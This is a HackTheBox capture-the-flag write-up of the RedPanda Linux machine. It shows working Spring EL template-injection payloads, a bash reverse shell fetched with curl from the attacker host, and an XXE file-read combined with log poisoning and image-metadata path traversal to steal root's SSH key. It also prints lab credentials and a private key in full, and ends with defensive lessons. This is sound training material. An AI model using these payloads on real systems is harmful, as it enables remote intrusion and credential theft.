HTB: RedPanda Writeup

RedPanda - HackTheBox Writeup

Machine Information

AttributeDetails
NameRedPanda
OSLinux
DifficultyEasy
PointsN/A
Release Date11th July 2022
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐☆☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

RedPanda is an easy Linux machine featuring a Red Panda search engine built with Java Spring Boot. The search functionality is vulnerable to Server-Side Template Injection (SSTI), allowing remote code execution as user woodenk. Further enumeration reveals a cron job running a Java program as root that processes log files and parses XML credentials. This program is vulnerable to XXE (XML External Entity Injection) combined with log file poisoning, enabling extraction of the root SSH private key and privilege escalation to root.

TL;DR: SSTI in Spring Boot search engine → RCE as woodenk → Enumerate cron jobs → XXE in XML parser + log poisoning → Extract root SSH key → SSH as root


Reconnaissance

Port Scanning

Terminal window
nmap -p- --min-rate=1000 -T4 10.10.11.170

Results:

22/tcp open ssh
8080/tcp open http-proxy

Running a detailed service scan:

Terminal window
nmap -p22,8080 -sV 10.10.11.170

Key Findings:

  • SSH (port 22): OpenSSH service
  • HTTP (port 8080): Web server hosting Red Panda Search application

Service Enumeration

Browsing to http://10.10.11.170:8080/ reveals a Red Panda search engine. Examining the page source reveals:

<title>Red Panda Search | Made with Spring Boot</title>

This indicates the application is built using the Spring Boot Java framework. Testing a basic search with the character “s” returns results and displays “You searched for: s” in the response—a potential injection vector.

Clicking on an author name (e.g., “woodenk”) leads to a statistics page with an option to export data as XML. The export reveals an XML structure containing image metadata and view counts.

Vulnerability Assessment

Identified Vulnerabilities:

  1. Server-Side Template Injection (SSTI) in the search functionality
  2. XXE (XML External Entity Injection) in the credentials XML parser (running as cron job)
  3. Path Traversal via metadata manipulation
  4. Log File Injection in the cron job logging mechanism

Initial Foothold

Exploitation Path

Step 1: Test for SSTI

The search endpoint appears vulnerable to template injection. Testing common Spring Boot SSTI payloads:

${8*8} → Error occurred: banned characters
#{8*8} → Error occurred: banned characters
*{8*8} → Returns: 64 ✓

The third payload executes and returns the result of 8*8, confirming SSTI vulnerability.

Step 2: Execute Commands via SSTI

Craft a payload to execute the id command using Spring EL expression language:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

This successfully executes and returns command output, confirming RCE.

Step 3: Generate Reverse Shell

Create a bash reverse shell script on the attacker machine:

Terminal window
cat > shell.sh << 'EOF'
bash -i >& /dev/tcp/YOUR_LOCAL_IP/1337 0>&1
EOF

Serve it via HTTP:

Terminal window
python3 -m http.server 8000

Step 4: Download Shell via SSTI Payload

Use SSTI to download the reverse shell:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl YOUR_LOCAL_IP:8000/shell.sh -o /tmp/shell.sh').getInputStream())}

Step 5: Make Shell Executable

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('chmod +x /tmp/shell.sh').getInputStream())}

Step 6: Execute Reverse Shell

Set up netcat listener on attacker machine:

Terminal window
nc -nvlp 1337

Execute the shell via SSTI payload:

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('/bin/bash /tmp/shell.sh').getInputStream())}

Result: Obtain reverse shell as user woodenk.

Step 7: Locate Credentials

Enumerate the filesystem and discover source code at /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java:

Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");

Step 8: SSH as woodenk

Terminal window
ssh woodenk@10.10.11.170
# Password: RedPandazRule

Step 9: Capture User Flag

Terminal window
cat /home/woodenk/user.txt

Privilege Escalation

Step 1: Identify Running Processes

Download and execute pspy to monitor running processes:

Terminal window
# On attacker machine
python3 -m http.server 8000
# On target machine
wget YOUR_LOCAL_IP:8000/pspy64
chmod +x pspy64
./pspy64

Discovery: A Java JAR program runs as root every 2 minutes via cron job:

/opt/credit-score/LogParser/final/target/final-1.0-SNAPSHOT.jar

Step 2: Analyze Cron Job Source Code

Examine /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java:

public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/home/woodenk/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while(log_reader.hasNextLine()) {
String line = log_reader.nextLine();
if(!isImage(line)) continue;
Map parsed_data = parseLog(line);
String artist = getArtist(parsed_data.get("uri").toString());
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}

Key Analysis:

  • The program reads /home/woodenk/panda_search/redpanda.log
  • Lines are split by || delimiter
  • The artist field is extracted from image metadata
  • Vulnerability: xmlPath is constructed using unsanitized artist value
  • Vulnerability: The addViewTo() function parses XML without XXE protection

Step 3: Identify XXE Vector

The addViewTo() function parses XML files. Create a malicious XXE payload to read /root/.ssh/id_rsa:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE author [<!ENTITY xxe SYSTEM 'file:///root/.ssh/id_rsa'>]>
<credits>
<author>&xxe;</author>
<image>
<uri>/img/greg.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/hungy.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/smooch.jpg</uri>
<views>6</views>
</image>
<image>
<uri>/img/smiley.jpg</uri>
<views>3</views>
</image>
<totalviews>9</totalviews>
</credits>

Step 4: Exploit Log File Injection

The program parses logs with format: status_code||ip||user_agent||uri

To inject a custom URI, manipulate the User-Agent header with embedded || delimiters:

Terminal window
# Test log injection on target
curl -A "evil||/../../../../../../../../../../tmp/smooch.jpg" http://localhost:8080/

This creates a log entry that, when parsed, places the injected path in the URI field.

Step 5: Modify Image Metadata

Download an image and modify its Artist field:

Terminal window
# On target machine
wget 10.10.11.170:8080/img/smooch.jpg

Using exiftool to modify the Artist metadata:

Terminal window
exiftool -Artist='../tmp/hax' smooch.jpg

This changes the Artist field to ../tmp/hax, so the xmlPath becomes /credits/../tmp/hax_creds.xml/tmp/hax_creds.xml

Step 6: Place Malicious XML and Modified Image

On attacker machine, serve the malicious XML:

Terminal window
python3 -m http.server 8000
# serves hax_creds.xml and smooch.jpg

On target machine, download both:

Terminal window
cd /tmp
wget YOUR_LOCAL_IP:8000/hax_creds.xml
wget YOUR_LOCAL_IP:8000/smooch.jpg
chmod 777 hax_creds.xml

Step 7: Trigger XXE via Cron Job

Send a crafted request to create a log entry pointing to the modified image:

Terminal window
curl -A "evil||/../../../../../../../../../../tmp/smooch.jpg" http://localhost:8080/

Wait 2 minutes for the cron job to execute. It will:

  1. Read the log entry
  2. Parse the injected URI
  3. Extract artist metadata from /tmp/smooch.jpg../tmp/hax
  4. Load XML from /tmp/hax_creds.xml
  5. Parse XXE payload and write root’s private key to the XML

Step 8: Extract Root SSH Key

Terminal window
cat /tmp/hax_creds.xml

The output contains the root private key in the <author> tag:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
...
-----END OPENSSH PRIVATE KEY-----

Step 9: SSH as Root

Copy the private key to attacker machine:

Terminal window
cat > id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 id_rsa

Connect via SSH:

Terminal window
ssh -i id_rsa root@10.10.11.170
cat /root/root.txt

Attack Chain Summary

SSTI in Spring Boot Search
RCE as woodenk via Template Injection
Reverse Shell via Curl Download
SSH as woodenk (credentials from source code)
Enumerate Cron Jobs (pspy)
Analyze Java Log Parser Source Code
Identify XXE Vulnerability in XML Parser
Identify Path Traversal via Metadata Injection
Exploit Log File Injection
Craft Malicious XML with XXE Payload
Modify Image Metadata with exiftool
Trigger Cron Job to Parse XXE
Extract Root SSH Private Key
SSH as root → Obtain root.txt

Tools Used

ToolPurpose
nmapPort and service discovery
curlHTTP requests and payload delivery
nc (netcat)Reverse shell listener
python3 -m http.serverHosting payloads and files
wgetDownloading files from remote server
exiftoolReading and modifying image metadata
pspyMonitoring background processes and cron jobs
sshSecure shell access

Key Learnings

Techniques Practiced

  • Server-Side Template Injection (SSTI) in Java Spring Boot applications
  • Exploiting Spring Expression Language (EL) for RCE
  • XML External Entity (XXE) Injection vulnerabilities
  • Log file poisoning and injection attacks
  • Image metadata manipulation with exiftool
  • Cron job enumeration and analysis
  • Multi-stage exploitation chains combining multiple vulnerabilities
  • Using pspy for process monitoring and cron job discovery

Lessons Learned

  1. Template Injection is Critical in Web Applications: Always sanitize and validate user input before passing it to template engines. Spring Boot applications should use restricted contexts when rendering user-controlled data.

  2. XML Parsing Requires XXE Protection: Disable external entity resolution in XML parsers. Use XMLConstants.ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA properties to restrict external resource access.

  3. Path Construction Vulnerabilities: Never concatenate user-controlled or derived data (like metadata) directly into file paths without validation. Use canonical path resolution and whitelist allowed characters.

  4. Cron Jobs Are Powerful Attack Vectors: Processes running as privileged users via cron jobs are high-value targets. Regular code review of automated tasks is essential.

  5. Defense in Depth: This machine demonstrates how multiple vulnerabilities can be chained together. Initial SSTI access led to privilege escalation through XXE. Each layer could have been defended independently.

  6. Metadata Matters: User-supplied files (images, documents) can contain exploitable data in metadata fields. Sanitize metadata or strip it entirely if unnecessary.

  7. Log Files as Attack Vectors: Ensure that log files cannot be poisoned to alter program behavior. Validate log entries before using them in path construction or code execution.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>